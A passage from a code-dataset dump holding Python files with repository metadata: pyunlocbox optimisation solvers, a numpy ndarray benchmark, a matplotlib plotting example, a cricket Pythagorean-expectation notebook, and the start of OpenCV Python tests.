spaces)\n        q1 = p1 - self.step * (self.smooth_funs[0].grad(p1) + self.Lt(p2))\n        q2 = p2 + self.step * self.L(p1)\n\n        # Update solution (in both primal and dual spaces)\n        self.sol[:] = self.sol - y1 + q1\n        self.dual_sol[:] = self.dual_sol - y2 + q2\n\n\nclass projection_based(primal_dual):\n    r\"\"\"\n    Projection-based primal-dual algorithm.\n\n    This algorithm solves convex optimization problems with objective of the\n    form :math:`f(x) + g(Lx)`, where :math:`f` and :math:`g` are proper,\n    convex, lower-semicontinuous functions with easy-to-compute proximity\n    operators.\n\n    See generic attributes descriptions of the\n    :class:`pyunlocbox.solvers.primal_dual` base class.\n\n    Parameters\n    ----------\n    lambda_ : float, optional\n        The update term weight. It should be between 0 and 2. Default is 1.\n\n    Notes\n    -----\n    The order of the functions matters: set :math:`f` first on the list, and\n    :math:`g` second.\n\n    This algorithm requires the two functions to implement the\n    :meth:`pyunlocbox.functions.func.prox` method.\n\n    The step-size should be in the interval :math:`\\left] 0, \\infty \\right[`.\n\n    See :cite:`komodakis2015primaldual`, Algorithm 7, for details.\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from pyunlocbox import functions, solvers\n    >>> y = np.array([294, 390, 361])\n    >>> L = np.array([[5, 9, 3], [7, 8, 5], [4, 4, 9], [0, 1, 7]])\n    >>> x0 = np.array([500, 1000, -400])\n    >>> f = functions.norm_l1(y=y)\n    >>> g = functions.norm_l1()\n    >>> solver = solvers.projection_based(L=L, step=1.)\n    >>> ret = solvers.solve([f, g], x0, solver, maxit=1000, rtol=None, xtol=.1)\n    Solution found after 996 iterations:\n        objective function f(sol) = 1.045000e+03\n        stopping criterion: XTOL\n    >>> ret['sol']\n    array([0, 0, 0])\n\n    \"\"\"\n\n    def __init__(self, lambda_=1., *args, **kwargs):\n        super(projection_based, self).__init__(*args, **kwargs)\n        self.lambda_ = lambda_\n\n    def _pre(self, functions, x0):\n        super(projection_based, self)._pre(functions, x0)\n\n        if self.lambda_ <= 0 or self.lambda_ > 2:\n            raise ValueError('Lambda is bounded by 0 and 2.')\n\n        if len(functions) != 2:\n            raise ValueError('projection_based requires 2 convex functions.')\n\n        self.non_smooth_funs.append(functions[0])   # f\n        self.non_smooth_funs.append(functions[1])   # g\n\n    def _algo(self):\n        a = self.non_smooth_funs[0].prox(self.sol - self.step *\n                                         self.Lt(self.dual_sol), self.step)\n        ell = self.L(self.sol)\n        b = self.non_smooth_funs[1].prox(ell + self.step * self.dual_sol,\n                                         self.step)\n        s = (self.sol - a) / self.step + self.Lt(ell - b) / self.step\n        t = b - self.L(a)\n        tau = np.sum(s**2) + np.sum(t**2)\n        if tau == 0:\n            self.sol[:] = a\n            self.dual_sol[:] = self.dual_sol + (ell - b) / self.step\n        else:\n            theta = self.lambda_ * (np.sum((self.sol - a)**2) / self.step +\n                                    np.sum((ell - b)**2) / self.step) / tau\n            self.sol[:] = self.sol - theta * s\n            self.dual_sol[:] = self.dual_sol - theta * t\n", "meta": {"hexsha": "ac4203f6fe54e560ba1ca80a2de358fb74dfd5a6", "size": 34026, "ext": "py", "lang": "Python", "max_stars_repo_path": "pyunlocbox/solvers.py", "max_stars_repo_name": "vishalbelsare/pyunlocbox", "max_stars_repo_head_hexsha": "66181218a3268444983233720f0dc10392c15d5a", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 90, "max_stars_repo_stars_event_min_datetime": "2015-12-12T07:04:12.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T17:47:05.000Z", "max_issues_repo_path": "pyunlocbox/solvers.py", "max_issues_repo_name": "vishalbelsare/pyunlocbox", "max_issues_repo_head_hexsha": "66181218a3268444983233720f0dc10392c15d5a", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 38, "max_issues_repo_issues_event_min_datetime": "2015-02-05T20:41:07.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-10T11:03:09.000Z", "max_forks_repo_path": "pyunlocbox/solvers.py", "max_forks_repo_name": "vishalbelsare/pyunlocbox", "max_forks_repo_head_hexsha": "66181218a3268444983233720f0dc10392c15d5a", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 26, "max_forks_repo_forks_event_min_datetime": "2015-02-04T09:55:04.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-23T09:18:47.000Z", "avg_line_length": 34.7914110429, "max_line_length": 79, "alphanum_fraction": 0.6045083172, "include": true, "reason": "import numpy", "num_tokens": 8794, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.12085324040654355, "lm_q1q2_score": 0.050141869955474344}}
{"text": "#!/usr/bin/env python\n#\n# @license Apache-2.0\n#\n# Copyright (c) 2018 The Stdlib Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Benchmark numpy.ndarray.\"\"\"\n\nfrom __future__ import print_function\nimport timeit\n\nREPEATS = 3\nCOUNT = [0]  # use a list to allow modification within nested scopes\n\n\ndef print_version():\n    \"\"\"Print the TAP version.\"\"\"\n    print(\"TAP version 13\")\n\n\ndef print_summary(total, passing):\n    \"\"\"Print the benchmark summary.\n\n    # Arguments\n\n    * `total`: total number of tests\n    * `passing`: number of passing tests\n\n    \"\"\"\n    print(\"#\")\n    print(\"1..\" + str(total))  # TAP plan\n    print(\"# total \" + str(total))\n    print(\"# pass  \" + str(passing))\n    print(\"#\")\n    print(\"# ok\")\n\n\ndef print_results(iterations, elapsed):\n    \"\"\"Print benchmark results.\n\n    # Arguments\n\n    * `iterations`: number of iterations\n    * `elapsed`: elapsed time (in seconds)\n\n    # Examples\n\n    ``` python\n    python> print_results(100000, 0.131009101868)\n    ```\n    \"\"\"\n    rate = iterations / elapsed\n\n    print(\"  ---\")\n    print(\"  iterations: \" + str(iterations))\n    print(\"  elapsed: \" + str(elapsed))\n    print(\"  rate: \" + str(rate))\n    print(\"  ...\")\n\n\ndef benchmark(name, setup, stmt, iterations):\n    \"\"\"Run a benchmark and print benchmark results.\n\n    # Arguments\n\n    * `name`: benchmark name (suffix)\n    * `setup`: benchmark setup\n    * `stmt`: statement to benchmark\n    * `iterations`: number of iterations\n\n    # Examples\n\n    ``` python\n    python> benchmark(\"::random\", \"from random import random;\", \"y = random()\", 1000000)\n    ```\n    \"\"\"\n    t = timeit.Timer(stmt, setup=setup)\n\n    i = 0\n    while i < REPEATS:\n        print(\"# python::numpy\" + name)\n        COUNT[0] += 1\n        elapsed = t.timeit(number=iterations)\n        print_results(iterations, elapsed)\n        print(\"ok \" + str(COUNT[0]) + \" benchmark finished\")\n        i += 1\n\n\ndef main():\n    \"\"\"Run the benchmarks.\"\"\"\n    print_version()\n\n    name = \"::instantiation\"\n    setup = \"import numpy as np; x = np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], dtype='float64'); shape = [3, 2]; strides = [2, 1]; offset = 0; order = 'C';\"\n    stmt = \"y = np.ndarray(buffer=x, shape=shape, strides=strides, offset=offset, order=order)\"\n    iterations = 100000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:data\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.data\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:dtype\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.dtype\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:flags\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.flags\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:length\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.size\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:BYTES_PER_ELEMENT\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.itemsize\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:byteLength\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.nbytes\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:ndims\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.ndim\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:shape\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.shape\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \"::get:strides\"\n    setup = \"import numpy as np; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape);\"\n    stmt = \"z = y.strides\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \":get\"\n    setup = \"import numpy as np; from math import floor; from random import random; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape, dtype='float64');\"\n    stmt = \"z = y[int(floor(random()*3.0)), 1]\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \":set\"\n    setup = \"import numpy as np; from math import floor; from random import random; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape, dtype='float64');\"\n    stmt = \"y[int(floor(random()*3.0)), 1] = random()\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \":iget\"\n    setup = \"import numpy as np; from math import floor; from random import random; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape, dtype='float64');\"\n    stmt = \"z = y.item(int(floor(random()*4.0)))\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    name = \":iset\"\n    setup = \"import numpy as np; from math import floor; from random import random; shape = [3, 2]; y = np.ndarray(buffer=np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]), shape=shape, dtype='float64');\"\n    stmt = \"y.itemset(int(floor(random()*4.0)), random())\"\n    iterations = 1000000\n    benchmark(name, setup, stmt, iterations)\n\n    print_summary(COUNT[0], COUNT[0])\n\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "07b8b378b471d7dfeb845adc5cddff090287cbeb", "size": 6504, "ext": "py", "lang": "Python", "max_stars_repo_path": "lib/node_modules/@stdlib/ndarray/base/ctor/benchmark/python/numpy/benchmark.py", "max_stars_repo_name": "ghalimi/stdlib", "max_stars_repo_head_hexsha": "88f50b88aa945875ef053e2f89d26f9150a18c12", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 3428, "max_stars_repo_stars_event_min_datetime": "2016-07-14T13:48:46.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T22:32:13.000Z", "max_issues_repo_path": "lib/node_modules/@stdlib/ndarray/base/ctor/benchmark/python/numpy/benchmark.py", "max_issues_repo_name": "ghalimi/stdlib", "max_issues_repo_head_hexsha": "88f50b88aa945875ef053e2f89d26f9150a18c12", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 435, "max_issues_repo_issues_event_min_datetime": "2016-04-07T18:12:45.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-22T15:43:17.000Z", "max_forks_repo_path": "lib/node_modules/@stdlib/ndarray/base/ctor/benchmark/python/numpy/benchmark.py", "max_forks_repo_name": "sthagen/stdlib", "max_forks_repo_head_hexsha": "042b6215818db0e2a784e72c7e054167dcefcd2a", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 188, "max_forks_repo_forks_event_min_datetime": "2016-11-29T22:58:11.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-17T06:46:43.000Z", "avg_line_length": 33.5257731959, "max_line_length": 195, "alphanum_fraction": 0.6097785978, "include": true, "reason": "import numpy", "num_tokens": 2082, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.12085323724011435, "lm_q1q2_score": 0.050141868641726525}}
{"text": "'''\nCreated on Apr 7, 2014\n\n@author: dustin\n'''\n\"\"\"\nYou can use the proper typesetting unicode minus (see\nhttp://en.wikipedia.org/wiki/Plus_sign#Plus_sign) or the ASCII hypen\nfor minus, which some people prefer.  The matplotlibrc param\naxes.unicode_minus controls the default behavior.\n\nThe default is to use the unicode minus\n\"\"\"\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nmatplotlib.rcParams['axes.unicode_minus'] = False\nfig, ax = plt.subplots()\nax.plot(10*np.random.randn(100), 10*np.random.randn(100), 'o')\nax.set_title('Using hypen instead of unicode minus')\nplt.show()", "meta": {"hexsha": "31c42ba8a0c6e49c49f70dfa9d74cfa592f904e5", "size": 602, "ext": "py", "lang": "Python", "max_stars_repo_path": "experiments/GraphScripts/src/TestSetup.py", "max_stars_repo_name": "dtdannen/LUiGi-2", "max_stars_repo_head_hexsha": "6e31f7178a48ffb886475fc59d6469d8262874c9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "experiments/GraphScripts/src/TestSetup.py", "max_issues_repo_name": "dtdannen/LUiGi-2", "max_issues_repo_head_hexsha": "6e31f7178a48ffb886475fc59d6469d8262874c9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "experiments/GraphScripts/src/TestSetup.py", "max_forks_repo_name": "dtdannen/LUiGi-2", "max_forks_repo_head_hexsha": "6e31f7178a48ffb886475fc59d6469d8262874c9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.3636363636, "max_line_length": 68, "alphanum_fraction": 0.7607973422, "include": true, "reason": "import numpy", "num_tokens": 150, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.10521054371715849, "lm_q1q2_score": 0.05014120421294302}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Week 1\n# \n# IPL (Indian Premier League) (cricket)\n\n# # Imports\n\n# In[1]:\n\n\n# %load /Users/bartev/dev/github-bv/sporty/notebooks/imports.py\n# %load /Users/bartev/dev/github-bv/sporty/notebooks/imports.py\n\n## Where am I\nget_ipython().system('echo $VIRTUAL_ENV')\n\nfrom IPython.core.display import display, HTML\ndisplay(HTML(\"<style>.container { width:95% !important; }</style>\"))\n\n# magics\nget_ipython().run_line_magic('load_ext', 'blackcellmagic')\n# start cell with `%%black` to format using `black`\n\nget_ipython().run_line_magic('load_ext', 'autoreload')\n# start cell with `%autoreload` to reload module\n# https://ipython.org/ipython-doc/stable/config/extensions/autoreload.html\n\n# reload all modules when running\nget_ipython().run_line_magic('autoreload', '2')\n\n\n# In[2]:\n\n\n# imports\n\nimport pandas as pd\nimport numpy as np\nimport statsmodels.formula.api as smf\nimport seaborn as sns\n\nfrom importlib import reload\nfrom pathlib import Path\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# https://plotnine.readthedocs.io/en/stable/\n\nimport plotnine as p9\nfrom plotnine import ggplot, aes, facet_wrap\n\n\n# In[30]:\n\n\nget_ipython().system('pip install xlrd')\n\n\n# In[32]:\n\n\nget_ipython().system('pip install openpyxl')\n\n\n# # Read data\n\n# Need `IPL2018teams` data\n# \n# * https://www.kaggle.com/manasgarg/ipl\n\n# ## archive\n# \n# 2008-2017\ndata_dir = Path('/Users/bartev/dev/github-bv/sporty/data/raw/wk1-IPL/archive')\nmatches = pd.read_csv(data_dir / 'matches.csv')\n\ndeliveries = pd.read_csv(data_dir / 'deliveries.csv')deliveries.head()matches.groupby('season').size()\n# ## archive 2\n# 2008 - 2019\ndata_dir2 = Path('/Users/bartev/dev/github-bv/sporty/data/raw/wk1-IPL/archive 2')\nmatches2 = pd.read_csv(data_dir2 / 'matches.csv')\ndeliveries2 = pd.read_csv(data_dir2 / 'deliveries.csv')matches2.groupby('season').size()deliveries2\n# ## archive-3\n# \n# I found this data somewhere on Kaggle (didn't keep the link)\n# \n# More data than `archive 2`?\n\n# In[157]:\n\n\ndata_dir = Path('/Users/bartev/dev/github-bv/sporty/data/raw/wk1-IPL/archive-3')\nmatches = pd.read_csv(data_dir3 / 'matches.csv')\ndeliveries = pd.read_csv(data_dir3/ 'deliveries.csv')\nteams = pd.read_csv(data_dir3 / 'teams.csv')\nteamwise = pd.read_csv(data_dir3 / 'teamwise_home_and_away.csv')\nplayers = pd.read_excel(data_dir3 / 'Players.xlsx')\n\n\n# In[158]:\n\n\nmatches.groupby('Season').size()\n\n\n# In[63]:\n\n\ndeliveries.head()\n\n\n# In[64]:\n\n\nmatches.head(2)\n\n\n# In[159]:\n\n\nteamwise\n\n\n# In[ ]:\n\n\nipl18 = matches.query(\"Season == 'IPL-2018'\").assign(\n    hwin=lambda x: np.where(x[\"team1\"] == x[\"winner\"], 1, 0),\n    awin=lambda x: np.where(x[\"team2\"] == x[\"winner\"], 1, 0),\n    #                 htruns=lambda x: np.where(x['team1'] == x[''])\n)\nipl18\n\n\n# In[101]:\n\n\n# get the match ids for season 2018\nmatch_ids_2018 = ipl18[\"id\"]\n\n# Count runs scored by each team for season 2018\nmatch_team_runs = (\n    deliveries[[\"match_id\", \"inning\", \"batting_team\", \"bowling_team\", \"total_runs\"]]\n    .merge(match_ids_2018, left_on=\"match_id\", right_on=\"id\")\n    .groupby([\"match_id\", \"batting_team\"])\n    .agg({\"total_runs\": sum})\n    .reset_index()\n    .rename(columns={\"match_id\": \"id\"})\n)\nmatch_team_runs.head(5)\n\n\n# In[133]:\n\n\nipl_cols = [\n    \"id\",\n    \"Season\",\n    \"date\",\n    \"team1\",\n    \"team2\",\n    \"winner\",\n    \"win_by_runs\",\n    \"win_by_wickets\",\n    \"hwin\",\n    \"awin\",\n]\n\nipl18_exp = (\n    ipl18[ipl_cols]\n    .rename(columns={\"team1\": \"home_team\", \"team2\": \"away_team\"})\n    .merge(\n        match_team_runs, left_on=[\"id\", \"home_team\"], right_on=[\"id\", \"batting_team\"]\n    )\n    .drop(columns=\"batting_team\")\n    .rename(columns={\"total_runs\": \"htruns\"})\n    .merge(\n        match_team_runs, left_on=[\"id\", \"away_team\"], right_on=[\"id\", \"batting_team\"]\n    )\n    .drop(columns=\"batting_team\")\n    .rename(columns={\"total_runs\": \"atruns\"})\n    .assign(\n        my_hwin=lambda x: np.where(x[\"home_team\"] == x[\"winner\"], 1, 0),\n        my_awin=lambda x: np.where(x[\"away_team\"] == x[\"winner\"], 1, 0),\n    )\n    #     .assign(match=lambda x: x['hwin'] == x['my_hwin'])\n    .assign(count=1)\n)\n\n\n# In[134]:\n\n\nipl18_exp\n\n\n# * Ph/Pa : number of games played at home/away\n\n# In[143]:\n\n\niplhome = (\n    ipl18_exp.groupby(\"home_team\")[\"count\", \"hwin\", \"htruns\", \"atruns\"]\n    .sum()\n    .reset_index()\n    .rename(\n        columns={\n            \"home_team\": \"team\",\n            \"count\": \"Ph\",\n            \"htruns\": \"htrunsh\",\n            \"atruns\": \"atrunsh\",\n        }\n    )\n)\niplhome\n\n\n# In[144]:\n\n\niplaway = (\n    ipl18_exp.groupby(\"away_team\")[\"count\", \"awin\", \"htruns\", \"atruns\"]\n    .sum()\n    .reset_index()\n    .rename(\n        columns={\n            \"away_team\": \"team\",\n            \"count\": \"Pa\",\n            \"htruns\": \"htrunsa\",\n            \"atruns\": \"atrunsa\",\n        }\n    )\n)\niplaway\n\n\n# In[151]:\n\n\nipl18_combo = (\n    iplhome.merge(iplaway, on=\"team\")\n    # aggregate home/away data for wins, games played, and runs\n    .assign(\n        W=lambda x: x[\"hwin\"] + x[\"awin\"],\n        G=lambda x: x[\"Ph\"] + x[\"Pa\"],\n        R=lambda x: x[\"htrunsh\"] + x[\"atrunsa\"],\n        RA=lambda x: x[\"atrunsh\"] + x[\"htrunsa\"],\n    )\n    # get win percentage and pythagorean expectation\n    .assign(wpc=lambda x: x['W'] / x['G'],\n           pyth=lambda x: x['R']**2 / (x['R']**2 + x['RA']**2))\n)\n\nipl18_combo\n\n\n# In[152]:\n\n\nsns.relplot(x='pyth', y='wpc', data=ipl18_combo)\n\n\n# # Run a regression\n\n# In[154]:\n\n\npyth_lm = smf.ols(formula = 'wpc ~ pyth', data=ipl18_combo).fit()\npyth_lm.summary()\n\n\n# Interpretation\n# \n# * pyth \n#     * coef = 2.5\n#     * std err = 2.077\n#     * t value = 1.235\n#     * P-value = 0.263 >> 0.05\n#     * P-value = probability that we'd observe the value 2.5 (for the coef) by chance if the true value were 0\n#     * p-values > 0.05, so values are not considered statistically significant.\n#         We have no confidence in this relationship.\n#     * R^2 is low (20%)\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "7a6744cacf8fafec05eebb34f0c2e20a14a4c1c5", "size": 5958, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/02-pythagorean-expectation-ILB-cricket.py", "max_stars_repo_name": "bartev/sporty", "max_stars_repo_head_hexsha": "3f134ba76f4fc55382ea5a598fe9438ecd87ea8d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/02-pythagorean-expectation-ILB-cricket.py", "max_issues_repo_name": "bartev/sporty", "max_issues_repo_head_hexsha": "3f134ba76f4fc55382ea5a598fe9438ecd87ea8d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/02-pythagorean-expectation-ILB-cricket.py", "max_forks_repo_name": "bartev/sporty", "max_forks_repo_head_hexsha": "3f134ba76f4fc55382ea5a598fe9438ecd87ea8d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.3344709898, "max_line_length": 111, "alphanum_fraction": 0.6230278617, "include": true, "reason": "import numpy,import statsmodels", "num_tokens": 1847, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.10521053950871516, "lm_q1q2_score": 0.05014120220728456}}
{"text": "#!/usr/bin/env python\r\n\r\nimport unittest\r\nimport random\r\nimport time\r\nimport math\r\nimport sys\r\nimport array\r\nimport urllib\r\nimport tarfile\r\nimport hashlib\r\nimport os\r\nimport getopt\r\nimport operator\r\nimport functools\r\nimport argparse\r\n\r\nimport cv2.cv as cv\r\n\r\nfrom tests_common import OpenCVTests, NewOpenCVTests\r\n\r\nbasedir = os.path.abspath(os.path.dirname(__file__))\r\n\r\ndef load_tests(loader, tests, pattern):\r\n    tests.addTests(loader.discover(basedir, pattern='nonfree_*.py'))\r\n    tests.addTests(loader.discover(basedir, pattern='test_*.py'))\r\n    tests.addTests(loader.discover(basedir, pattern='test2.py'))\r\n    return tests\r\n\r\n# Tests to run first; check the handful of basic operations that the later tests rely on\r\n\r\nclass PreliminaryTests(OpenCVTests):\r\n\r\n    def test_lena(self):\r\n        # Check that the lena jpg image has loaded correctly\r\n        # This test uses a 'golden' MD5 hash of the Lena image\r\n        # If the JPEG decompressor changes, it is possible that the MD5 hash will change,\r\n        # so the hash here will need to change.\r\n\r\n        im = self.get_sample(\"samples/c/lena.jpg\")\r\n        # self.snap(im)     # uncomment this line to view the image, when regilding\r\n        self.assertEqual(hashlib.md5(im.tostring()).hexdigest(), \"9dcd9247f9811c6ce86675ba7b0297b6\")\r\n\r\n    def test_LoadImage(self):\r\n        self.assertRaises(TypeError, lambda: cv.LoadImage())\r\n        self.assertRaises(TypeError, lambda: cv.LoadImage(4))\r\n        self.assertRaises(TypeError, lambda: cv.LoadImage('foo.jpg', 1, 1))\r\n        self.assertRaises(TypeError, lambda: cv.LoadImage('foo.jpg', xiscolor=cv.CV_LOAD_IMAGE_COLOR))\r\n\r\n    def test_types(self):\r\n        self.assert_(type(cv.CreateImage((7,5), cv.IPL_DEPTH_8U, 1)) == cv.iplimage)\r\n        self.assert_(type(cv.CreateMat(5, 7, cv.CV_32FC1)) == cv.cvmat)\r\n        for i,t in enumerate(self.mat_types):\r\n            basefunc = [\r\n                cv.CV_8UC,\r\n                cv.CV_8SC,\r\n                cv.CV_16UC,\r\n                cv.CV_16SC,\r\n                cv.CV_32SC,\r\n                cv.CV_32FC,\r\n                cv.CV_64FC,\r\n            ][i / 4]\r\n            self.assertEqual(basefunc(1 + (i % 4)), t)\r\n\r\n    def test_tostring(self):\r\n\r\n        for w in [ 1, 4, 64, 512, 640]:\r\n            for h in [ 1, 4, 64, 480, 512]:\r\n                for c in [1, 2, 3, 4]:\r\n                    for d in self.depths:\r\n                        a = cv.CreateImage((w,h), d, c);\r\n                        self.assert_(len(a.tostring()) == w * h * c * self.depthsize(d))\r\n\r\n        for w in [ 32, 96, 480 ]:\r\n            for h in [ 32, 96, 480 ]:\r\n                depth_size = {\r\n                    cv.IPL_DEPTH_8U : 1,\r\n                    cv.IPL_DEPTH_8S : 1,\r\n                    cv.IPL_DEPTH_16U : 2,\r\n                    cv.IPL_DEPTH_16S : 2,\r\n                    cv.IPL_DEPTH_32S : 4,\r\n                    cv.IPL_DEPTH_32F : 4,\r\n                    cv.IPL_DEPTH_64F : 8\r\n                }\r\n                for f in  self.depths:\r\n                    for channels in (1,2,3,4):\r\n                        img = cv.CreateImage((w, h), f, channels)\r\n                        esize = (w * h * channels * depth_size[f])\r\n                        self.assert_(len(img.tostring()) == esize)\r\n                        cv.SetData(img, \" \" * esize, w * channels * depth_size[f])\r\n                        self.assert_(len(img.tostring()) == esize)\r\n\r\n                mattype_size = {\r\n                    cv.CV_8UC1 : 1,\r\n                    cv.CV_8UC2 : 1,\r\n                    cv.CV_8UC3 : 1,\r\n                    cv.CV_8UC4 : 1,\r\n                    cv.CV_8SC1 : 1,\r\n                    cv.CV_8SC2 : 1,\r\n                    cv.CV_8SC3 : 1,\r\n                    cv.CV_8SC4 : 1,\r\n                    cv.CV_16UC1 : 2,\r\n                    cv.CV_16UC2 : 2,\r\n                    cv.CV_16UC3 : 2,\r\n                    cv.CV_16UC4 : 2,\r\n                    cv.CV_16SC1 : 2,\r\n                    cv.CV_16SC2 : 2,\r\n                    cv.CV_16SC3 : 2,\r\n                    cv.CV_16SC4 : 2,\r\n                    cv.CV_32SC1 : 4,\r\n                    cv.CV_32SC2 : 4,\r\n                    cv.CV_32SC3 : 4,\r\n                    cv.CV_32SC4 : 4,\r\n                    cv.CV_32FC1 : 4,\r\n                    cv.CV_32FC2 : 4,\r\n                    cv.CV_32FC3 : 4,\r\n                    cv.CV_32FC4 : 4,\r\n                    cv.CV_64FC1 : 8,\r\n                    cv.CV_64FC2 : 8,\r\n                    cv.CV_64FC3 : 8,\r\n                    cv.CV_64FC4 : 8\r\n                }\r\n\r\n                for t in self.mat_types:\r\n                    for im in [cv.CreateMat(h, w, t), cv.CreateMatND([h, w], t)]:\r\n                        elemsize = cv.CV_MAT_CN(cv.GetElemType(im)) * mattype_size[cv.GetElemType(im)]\r\n                        cv.SetData(im, \" \" * (w * h * elemsize), (w * elemsize))\r\n                        esize = (w * h * elemsize)\r\n                        self.assert_(len(im.tostring()) == esize)\r\n                        cv.SetData(im, \" \" * esize, w * elemsize)\r\n                        self.assert_(len(im.tostring()) == esize)\r\n\r\n# Tests for specific OpenCV functions\r\n\r\nclass FunctionTests(OpenCVTests):\r\n\r\n    def test_AvgSdv(self):\r\n        m = cv.CreateMat(1, 8, cv.CV_32FC1)\r\n        for i,v in enumerate([2, 4, 4, 4, 5, 5, 7, 9]):\r\n            m[0,i] = (v,)\r\n        self.assertAlmostEqual(cv.Avg(m)[0], 5.0, 3)\r\n        avg,sdv = cv.AvgSdv(m)\r\n        self.assertAlmostEqual(avg[0], 5.0, 3)\r\n        self.assertAlmostEqual(sdv[0], 2.0, 3)\r\n\r\n    def test_CalcEMD2(self):\r\n        cc = {}\r\n        for r in [ 5, 10, 37, 38 ]:\r\n            scratch = 